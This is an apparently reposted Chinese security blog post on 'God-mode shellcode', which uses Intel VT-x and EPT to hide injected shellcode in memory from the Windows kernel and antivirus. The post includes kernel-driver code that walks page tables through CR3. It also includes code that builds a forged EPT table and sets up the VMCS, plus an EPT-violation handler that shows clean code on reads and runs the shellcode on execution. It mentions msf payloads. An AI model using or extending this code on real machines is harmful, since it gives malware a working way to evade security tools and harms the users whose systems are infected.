上帝模式下的shellcode

2023-11-08


github:https://github.com/Wker666

讲解视频:https://www.bilibili.com/video/BV1oY411E7hX?p=1&share_medium=iphone&share_plat=ios&share_session_id=95C6D787-6EF6-4E5E-8954-918AF8B95B10&share_source=WEIXIN&share_tag=s_i&timestamp=1648518475&unique_k=BkfWIpT

上帝模式下的shellcode

“当上帝想要隐藏,无法跳出思维的人们永远也不会发现”——Wker

对于硬盘文件中的shellcode保护起来相对轻松,可以使用的方法比较多,加密方法也比较多。但是当shellcode被加载到内存中时,由于特征的暴露,杀软也可以比较快速的定位到特征位置。

那么是否有一种方法可以让处在ring0的内核也无法探测到这段被加载到应用程序的内存呢?

是有的。

计算机中存在比较严格的权限划分。

在Windows操作系统的认知下,他所在的ring0是已经达到了最高权限,所以他可以俯视一切,并且可以欺骗一切,他欺骗应用程序独占4GB的内存,但是他没有想到是否有一种权限是高于他并且可以欺骗他。

VT虚拟化已经不算是什么新颖的技术了,早在二零一几年的时候就已经应用比较广泛。

当Windows开启虚拟化之后,整个操作系统跑在cpu给其设计的虚拟机上,为了能够更好的管理操作系统,衍生出了需要管理操作系统的权限,即host权限,因为当时在设计权限命名时可能没有虚拟化的概念,所以为了能够更好的表示其权限高于Windows操作系统的R0(guest权限),所以将其称之为R-1,也就是这里我所描述的上帝视角。

和操作系统欺骗应用程序类似,处于R-1的host同样的可以欺骗Windows内核。

那么本篇文章将会通过内存隐匿的方式达到shellcode无痕化。

内存无痕化原理

为了简化内存虚拟化的实现,以及提升内存虚拟化的性能,Intel推出了EPT(Enhanced Page Table)技术,即在原有的页表基础上新增了EPT页表实现另一次映射。这样,GVA-GPA-HPA两次地址转换都由CPU硬件自动完成。

描述有点繁琐,简单介绍一下,由于开启了VT(虚拟化),所以Windows认为的物理地址需要经过root的EPT进行映射。

guest的虚拟内存转化为guest的物理内存,但这并不一定是真正的物理内存,需要经过EPT表进行转化到host的物理地址。

EPT表的具体转化方式类似于四级页表,具体详细内容可以百度搜索。

处在host权限的程序可以创建一张虚假的EPT传递给操作系统,当操作系统想要查找某一页内存时,我们返回其真正的内存页,担当需要执行这块内存时,通过EPT得到的是我们预先准备好的虚假内存。

所以出现了执行的代码与读出来的代码不一致的情况。

并且因特尔cpu允许内存页权限的完全可控化,也就是说这块内存可以只有执行权限,但是没有读写权限,这种畸形的内存页属性。

上帝模式的shellcode整体注入方式

首先是得到程序将会执行的一块内存地址,这块内存地址中是正常的代码,也就是写一个比较长的无用代码(类似于__asm{mov eax,eax})但是最好要长一些,防止覆盖。

得到这个函数的虚拟地址之后,通过IRP传递给R0,通过IRP执行的代码运行在程序内部,所以得到的虚拟地址可以通过pdbr指向的页表转化为真实的物理地址。

再在IRP中开启一个R0权限的线程,此线程用于开启VT虚拟化。

在开启VT虚拟化之前生成一张自定义的EPT表,这张表中将得到的物理地址内容拷贝出一份作为执行页面,并且假页面的内容根据需要注入shellcode,将物理地址内存所在页权限设置为只可读写。

当执行到shellcode所在内存时,由于没有执行权限,host将会接管操作系统,将页面替换为注入了shellcode的内存页面,并且将属性设置为只可以执行,当有程序读取这块内存时,又发生了异常,host将其页面修改为原始页面,并且属性设置为只可读写,以此往复,达到了读写与执行的分离。

这种host接管操作系统的方式非常类似于Windows调试器的处理方式,并且处理这种页面问题和Wker_EXEDebug中的内存读写执行断点十分类似,如果还不清楚内存断点具体是如何运作的,可以参考Wker的博客了解如何实现内存断点。

第一步应用程序创建一个垃圾函数

很简单,只需要编写一些废话代码就可以。类似于:

int testFun(){
	int a = 10;
	__asm{
		mov a,15
		mov eax,ebx
		mov ebx,eax
		mov eax,ebx
		mov ebx,eax
		mov eax,ebx
		mov ebx,eax
		mov eax,ebx
		mov ebx,eax
		........
	}
	return a;
}

但是需要注意的是,需要关闭编译器自动转化内敛函数的开关,否则当编译器看到你这段代码不长,并且有极大优化空间,没有参数之类的情况时,将会自动将其以内敛函数的方式编译,当值此函数地址无法被调用。

在加载内核驱动之后传递IRP之后,执行此垃圾函数。

得到虚拟地址的物理地址

// 得到传入的ring3层虚拟地址
			pOutAddress = (size_t*)MmGetSystemAddressForMdlSafe(pIrp->MdlAddress, NormalPagePriority);
			
			RtlZeroMemory(&virtualAddress,sizeof(VIRTUAL_ADDRESS));
			virtualAddress.ulVirtualAddress = *pOutAddress;
			

			// 得到页目录指针物理地址
			_asm{
				mov eax,  cr3;
				mov pdbr, eax;
			}
			
			// 映射为虚拟地址以便取值
			RtlZeroMemory(&phyAddress,sizeof(PHYSICAL_ADDRESS));
			phyAddress.LowPart = pdbr;
			pPdbr = (PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
			KdPrint(("pdbr = 0x%08X, 映射后的地址0x%p\n", pdbr, pPdbr));
			
			// 定位页目录指针表并获取页目录表物理页地址
			// ulDirAddress 为页目录表物理页地址
			ulPointerIdx = virtualAddress.stVirtualAddress.dirPointer;
			ulDirBaseAddress = pPdbr[ulPointerIdx];
			ulDirBaseAddress &= 0xFFFFF000;			// 中间物理地址

			// 定位页表项
			ulDirAddress = ulDirBaseAddress + virtualAddress.stVirtualAddress.dirIndex * 0x8;
			phyAddress.LowPart = ulDirAddress;
			pPageTable = (PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
			ulPageTable = *pPageTable;
			ulPageTable &= 0xFFFFF000;				 // 中间物理地址

			// 定位物理页面
			ulPageTable += virtualAddress.stVirtualAddress.tableIndex * 0x8;
			phyAddress.LowPart = ulPageTable;
			pPageBase = (PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
			ulPageBase = *pPageBase;
			ulPageBase &= 0xFFFFF000;

			// 得到物理地址
			ulPhyAddress = ulPageBase + virtualAddress.stVirtualAddress.offset;
			
			// 映射为虚拟地址,获取其值进行验证
			phyAddress.LowPart = ulPhyAddress;
			pPhyAddress = (PWCHAR)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
			KdPrint(("虚拟地址:0x%08X, 对应物理地址:0x%08X", *pOutAddress, ulPhyAddress));

通过CR3寄存器得到页目录表页面的物理地址(pdbr),然后一级级寻址得到物理地址。

创建虚假的EPT表

ULONG64* MyEptInitialization()
{
    ULONG64 *ept_PDPT, *ept_PDT, *ept_PT;
	
	ULONG64 * create_page;
	PHYSICAL_ADDRESS create_page_PA;
    PHYSICAL_ADDRESS FirstPtePA, FirstPdePA, FirstPdptePA;
	ULONG deviation;//这个是函数地址对于函数页面地址的偏移
	
	int a, b, c;
	
	createCode();
	
    initEptPagesPool();
    ept_PML4T = AllocateOnePage();
    ept_PDPT = AllocateOnePage();
    FirstPdptePA = MmGetPhysicalAddress(ept_PDPT);
    *ept_PML4T = (FirstPdptePA.QuadPart) + 7;
    for (a = 0; a < 4; a++)
    {
        ept_PDT = AllocateOnePage();
        FirstPdePA = MmGetPhysicalAddress(ept_PDT);
        *ept_PDPT = (FirstPdePA.QuadPart) + 7;
        ept_PDPT++;
        for (b = 0; b < 512; b++)
        {
            ept_PT = AllocateOnePage();
            FirstPtePA = MmGetPhysicalAddress(ept_PT);
            *ept_PDT = (FirstPtePA.QuadPart) + 7;
            ept_PDT++;
            for (c = 0; c < 512; c++)
            {	
                *ept_PT  = ((a << 30) | (b << 21) | (c << 12) | 0x37) & 0xFFFFFFFF;
                if ((((a << 30) | (b << 21) | (c << 12) | 0x37) & 0xFFFFF000) == (origin_fun_pa & 0xFFFFF000))
                {
					RtlZeroMemory(&create_page_PA,sizeof(PHYSICAL_ADDRESS));
					create_page_PA.LowPart = origin_fun_pa & 0xFFFFF000;
					create_page = MmMapIoSpace(create_page_PA,PAGE_SIZE,MmNonCached);
					RtlZeroMemory(&origin_pa,sizeof(PHYSICAL_ADDRESS));
					origin_pa.LowPart = ((a << 30) | (b << 21) | (c << 12) | 0x37);
					deviation = origin_fun_pa - (origin_fun_pa & 0xFFFFF000);
					fake_mem = AllocateFakePage(create_page,deviation,code,codelength);
					hook_pa = MmGetPhysicalAddress(fake_mem);
					*ept_PT = (hook_pa.QuadPart | 0x34) & 0xFFFFFFFF;
					Log("fake_mem",fake_mem);
					Log("*ept_PT",*ept_PT);
					
					//__asm int 3;
                    hook_ept_pt = ept_PT;
                }
                ept_PT++;
            }
        }
    }

    return ept_PML4T;
}

具体操作方式和创建一个四级页表很相似,但是需要注意的是,将垃圾函数所在的物理内存页属性设置为只可读写不可执行。

开启VT虚拟化

此过程稍许复杂,类似于Windows窗口注册的方式,所以只简单介绍需要填充EPT的字段。

EPT填充在虚拟化的guest控制域中

    Vmx_VmWrite(CPU_BASED_VM_EXEC_CONTROL, VmxAdjustControls(0x80000000, MSR_IA32_VMX_PROCBASED_CTLS));
    Vmx_VmWrite(EPT_POINTER, (EPTP | 6 | (3 << 3)) & 0xFFFFFFFF);
    Vmx_VmWrite(EPT_POINTER_HIGH, (EPTP | 6 | (3 << 3)) >> 32);
    Vmx_VmWrite(EPT_POINTER_HIGH, EPTP >> 32);
    Vmx_VmWrite(SECONDARY_VM_EXEC_CONTROL, VmxAdjustControls(0x2, MSR_IA32_VMX_PROCBASED_CTLS2));

打开EPT开关,传入自己的EPT表地址,通过高低32位的方式填充。

捕获FP异常

void HandleEPT()
{
	ULONG		ExitQualification;

    ExitQualification = Vmx_VmRead(EXIT_QUALIFICATION) ;
	if(ExitQualification & 3){
		//read write
		Log("EPT read",0);
		*hook_ept_pt = ((origin_pa.LowPart & 0xFFFFF000) | 0x33);
		//*hook_ept_pt = ((hook_pa.LowPart & 0xFFFFF000) | 0x33);
	}else{
		//exec
		Log("EPT EXEC",0);
		*hook_ept_pt = ((hook_pa.LowPart & 0xFFFFF000) | 0x34);
	}
	
}

此处可以看到,页面异常时将虚假页面和真正页面的替换过程

3代表可读写(11),4代表可执行(100),7代表可读写执行(111)

和linux的chmod权限设置方式相同。

shellcode

shellcode需要注意的是,最好使用push addr,ret的方式进行函数跳转,防止因为绝对地址带来的干扰问题。

效果展示

可以看到,这里od读取的内存时原本正常的代码内容

按下回车再次执行垃圾函数。

此时虽然内存展示是原本函数,但是执行的却是弹出了MessageBox(由于push的type类型是0,xp上面显示的就是这个样子)。

注意

由于内存读写执行的分离,当时用msf类型的shellcode时,需要分离读写,将写与执行在一起,保证shellcode更改自身可以成功写入到注入了shellcode的内存

后记

代码会上传到github上,想了解可以关注 https://github.com/Wker666


“D&X 安全实验室”
专注渗透测试技术
全球最新网络攻击技术

加微信,邀请进入DX安全交流群

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

上帝模式下的shellcode 的相关文章

  • 汇编中16进制装换成为其他进制(2,8,10)

    16进制装换成为其他进制关键在于得到键盘输入 并将它保存在BINARY的这个变量里面 宏定义直接调用 例子中有 DISP etc 子程序的话要注意对主程序的信息的保护和恢复 我在这里使用的是在子程序里面去保护主程序的方式 你也可以在主程序调
  • 汇编语法

    1 通用寄存器 EAX EBX ECX EDX ESI EDI ESP EBP 它 们 的低 16 位就是 8086 的 AX BX CX DX SI DI SP BP 它们的含义如下 EAX 累加器 EBX 基址寄存器 Base ECX
  • linux汇编编译器:GAS和NASM的比较

    GAS即GNU AS汇编编译器 其属于AT T风格 我们常用的GNU的产品还有GCC G NASM是Linux平台下常用的汇编编译器 是intel风格的汇编编译器 MASM是Windows平台下的汇编编译器 也使用Intel风格 我们学80
  • 为什么每个程序执行都有内核地址空间和程序地址空间?

    为什么每个用户态的程序映射到虚拟地址空间 都需要有内核地址空间和程序地址空间呢 因为程序地址空间最终都会调用系统调用 也就是内核的东东 所以每个程序要想执行 就必须有内核地址空间 也必须有程序地址空间 所用的application程序要想使
  • C语言与汇编——宏定义,头文件重复包含,内存申请和释放

    c文件 gt 替换 gt 编译 gt 链接 gt exe文件 typedef 只能给变量类型起别名 而 define可以给任何东西起别名 头文件重复包含问题 pragma once也能避免同一个头文件被包含 include 多次 一般由编译
  • IDA使用之旅(一)用IDA查看最简单的sys文件

    转载请标明是引用于 http blog csdn net chenyujing1234 欢迎大家拍砖 本系列内容是我根据 知其所以然论坛 博主录制的学习视频 做的笔记 使用的IDA软件版本 IDA pro 5 5 参考下载地址 http w
  • 汇编——寄存器的分类和功能

    在汇编中 个人感觉最重要的部分其实就是寄存器了 这次我们了解一下寄存器的分类和功能 先说一下寄存器是什么吧 其实就是一部分的空间 我们可以使用这些空间来存储内容 寄存器的空间都是16位的 80x86中 后来有增长 也就是1个字的空间 堆栈则
  • [荐]硕博经验——科研论文阅读与写作实战技巧

    又转自西电好网 http bbs xdnice com b99t378538 htm硕博经验 转来的 早知道就好了 少走很多弯路啊 该文从 举止优雅的猪 那里看见的 感觉很不错 不过我感觉到了博士才知道这些似乎有点晚了 或者是有不少人也不会
  • IDM 6.4.1逆向分析笔记

    环境准备 安装过程不做说明 1 x64dbg 官网地址 https x64dbg com 2 火绒剑 官网地址 https www huorong cn SPY 下载地址 https github com westoncampbell Sp
  • 汇编宏伪指令介绍

    1 汇编宏伪指令介绍 macro macname macargs endm 1 macro 和 endm 表示宏定义的开始和结束 2 macro 后面接着宏定义的名字 然后是参数 参数后面的宏定义的实现 3 在宏定义中使用参数 需要添加前缀
  • 汇编语言(王爽第三版) 实验5编写、调试具体多个段的程序

    参考 http blog sina com cn s blog 171daf8e00102xclx html 汇编语言实验答案 王爽 https wenku baidu com view a1cd7c6c1fb91a37f111f18583
  • ARM汇编快速入门

    本文主要分享如何快速上手ARM汇编开发的经验 汇编开发中常见的Bug以及Debug方法 用的Convolution Dephtwise算子的汇编实现相对于C 版本的加速效果三方面内容 前言 神经网络模型能够在移动端实现快速推理离不开高性能算
  • SIMD优化之ARM纯汇编开发

    ARM纯汇编开发 注 这篇文章是两年前写的 现在更新到CSDN 当时认知不足 其中可能有不少错误 敬请行家指正 为什么要用纯汇编 开发效率高 这里可能让很多人大跌眼镜了 纯汇编开发效率高 首先 这个是有限定条件的 需要反复调优的重度运算场景
  • Windows游戏加速外挂-变速齿轮 学习笔记-【第一篇】

    找到两篇文章 是比较流行的方法 接下来记录一下收获 第一篇文章 变速齿轮 研究手记 转自 http www newasp net tech 58262 html 注意 如果你看了本文 对我们这个软件有兴趣 请到我们的主页www vrbrot
  • BFD库

    BFD库 2011 01 16 11 16 22 分类 LINUX 什么是 BFD Binary format descriptor 即二进制文件格式描述符 它是连接工具 ld 和二进制文件操作工具 bin util 实现对于目标文件操作的
  • 《深入理解计算机系统》实验四Architecture Lab

    前言 深入理解计算机系统 实验四Architecture Lab下载和官方文档机翻请看 深入理解计算机系统 实验四Architecture Lab下载和官方文档机翻 我觉得这个文档对整个实验很有帮助 如果你的Y86 64环境还没安装好可以看
  • 如何将 \x00 作为参数传递给程序?

    我有一个小程序 我希望将 shellcode 作为参数传递 在shellcode中 需要传递 x00 我尝试了以下命令 program python c print x01 x00 x00 x00 x9c xd8 xff xbf 但 x00
  • GAS 汇编器不使用 2 字节相对 JMP 位移编码(仅 1 字节或 4 字节)

    我正在尝试为不允许 0x00 字节的 CTF 挑战编写 shellcode 它将被解释为终止符 由于挑战的限制 我必须这样做 shellcode bulk 0x514 sizeof shellcode bulk filler bytes f
  • 如何让c代码执行hex机器代码?

    我想要一个简单的 C 方法能够在 Linux 64 位机器上运行十六进制字节码 这是我的 C 程序 char code x48 x31 xc0 include
  • 漏洞利用开发 - GETS 和 Shellcode

    试图了解更多有关利用开发和构建 shellcode 的信息 但遇到了一个我不明白背后原因的问题 为什么我无法运行 execve bin sh 等 shellcode 并生成可以与之交互的 shell 另一方面 我可以创建一个反向 bind

随机推荐

  • Java_.jar .war .ear 详解

    jar 全称 java archive 包含 class properties文件 是文件封装的最小单元 部署文件 application client xml 级别 小 war 全称 web archive 包含 Servlet JSP页
  • Tomcat和Weblogic的区别

    接触到两种Java的web服务器 做项目用的Tomcat 看视频看的是WebLogic Server WLS 都是web服务器 有什么区别和联系呢 一 先简单介绍一下这两种服务器 WebLogic是美国bea公司出品的一个applicati
  • webpack实战,手写loader和plugin

    序言 对于 webpack 来说 loader 和 plugin 可以算是需求程度最为广泛的配置项了 但是呢 单单止步于配置可能还不够 如果我们自己有时候想要 diy 一个需求 但是 webpack 又没有相关的 loader 和 plug
  • 移动端unet人像分割模型--1

    个人对移动端神经网络开发一直饶有兴致 去年腾讯开源了NCNN框架之后 一直都在关注 近期成功利用别人训练好的mtcnn和mobilefacenet模型制作了一个ios版本人脸识别swift版本demo 希望maskrcnn移植到ncnn 在
  • MySQL 数据库崩溃(crash)的常见原因和解决办法

    墨墨导读 本文来自墨天轮用户投稿 详述MySQL 数据库崩溃 crash 的常见原因和解决办法 希望对大家有帮助 数据技术嘉年华 十周年盛大开启 点我立即报名 大会以 自研 智能 新基建 云和数据促创新 生态融合新十年 为主题 相邀数据英雄
  • 使用Git Extensions简单入门Git

    前言 关于这个主题 之前我录了段视频教程 在本地看清晰度还可以 但传到优酷上就很不清晰了 即使是后来重制后还是一样不清晰 所以现在想整理成文字版 当然 大家还可以将我百度云上的视频下载下来观看 连同优酷的相关地址都附在文末了 正文 说到Gi
  • std::vector如何使用

    Vector被认为是一个容器 是因为它可以存放各种类型的对象 正因为这 有时候也被人叫动态数组 能够增加和压缩数据 为了使用vector 必须在头文件中包含如下代码 include
  • File , Folder 与 Directory

    Folder 和 Directory 在电脑上使用的区别 folder 文件夹 directory 目录 directory包含子目录 subdirectory 两着一般情况下可以混用 但是有些稍微的区别 Folder 里要么是子folde
  • JDBC详解

    前期准备 mysql下载安装 mysql下载链接 安装成功验证 cmd 命令行输入命令如下图 登录 远程连接别人的mysql 这里的 h127 0 0 1表示远程连接数据库所在计算机的ip 启动和关闭mysql服务 JDBC的概念和本质 概
  • upload-labs文件上传漏洞(Pass-01~Pass-21)

    目录 pass 1 js前端绕过 pass 2 MiMe绕过 pass 3 黑名单绕过 pass 04 htaccess文件上传 pass 05 pass 06 大小写绕过 pass 07 空格绕过 pass 08 windows特性加点绕
  • 自动化测试 - 如何自动提取手机短信验证码

    在自动化测试中 除了之前博客介绍的各种图形验证码 以及滑块验证外 经常会碰到当遇到有手机短信验证的问题 可能有人会想到 通常验证码有效期都会在一定的时间内 当再次测试时 可以把手机收到的验证码写在代码里 显然这方法好像可行 但却在整个测试中
  • Hadoop:HDFS--分布式文件存储系统

    目录 HDFS的基础架构 VMware虚拟机部署HDFS集群 HDFS集群启停命令 HDFS Shell操作 hadoop 命令体系 创建文件夹 mkdir 查看目录内容 ls 上传文件到hdfs put 查看HDFS文件内容 cat 下载
  • Python使用XPath解析HTML:从入门到精通

    引言 XPath是一种用于选择XML文档中节点的语言 它可以通过路径表达式来定位节点 由于HTML文档的结构与XML文档类似 XPath也可以用于解析HTML文档 Python是一种非常流行的编程语言 它提供了许多库用于解析HTML文档 本
  • VScode常见用法

    1 VScode中通过快捷键ctrl shift p 打开配置文件 2 VScode可以通过shift alt F进行代码格式化 3 自动保存 在设置按钮弹出的菜单中 选择 Settings 选项 此处是整个vscode的设置入口 打开 s
  • 数据结构学习系列之两个单向链表的合并

    两个单向链表的合并 创建两个单向链表p1和p2 合并p1和p2即可 代码如下 示例代码 int merge 2 link list node t p1 node t p2 if NULL p1 NULL p2 NULL p2 printf
  • OpenCV:模型训练与验证

    一 过拟合 欠拟合 1 概念 过拟合是指所选模型的复杂度比真模型更高 学习时选择的模型所包含的参数过多 对已经数据预测得很好 但是对未知数据预测得很差得现象 欠拟合是指所选模型得复杂度比真模型更低 学习时选择的模型所包含的参数过少 2 如何
  • 目标检测中PR曲线和mAP

    目标检测中的PR曲线绘制与mAP 1 基本概念 1 交并比 Intersection Over Union IOU 2 TP FP FN TN 3 查准率 查全率 4 AP mAP 2 PR曲线的绘制与mAP的计算 原文链接 目标检测中的m
  • 分治法基本思想(汉诺塔问题 Tower of Hanoi)

    文章目录 前言 基本思想 适用的问题 求解步骤 分治法要点 时间复杂性分析 举例 汉罗塔问题 Tower of Hanoi 问题描述 解决步骤 java代码 前言 分治法来源于孙子兵法谋攻篇中写道 十则围之 五则攻之 倍则战之 敌则能分支
  • 6款真正好用的播放器推荐

    GOM player GOM player 是一款本身装有视频播放所需的解码 及占用系统资源少 并且能以最优秀的画质来观看多种格式影片的播放程序 可以支持播放大多数当前流行的视频格式 如 MP4 AVI WMV MKV MOV FLV 等
  • 上帝模式下的shellcode

    github https github com Wker666 讲解视频 https www bilibili com video BV1oY411E7hX p 1 share medium iphone share plat ios sh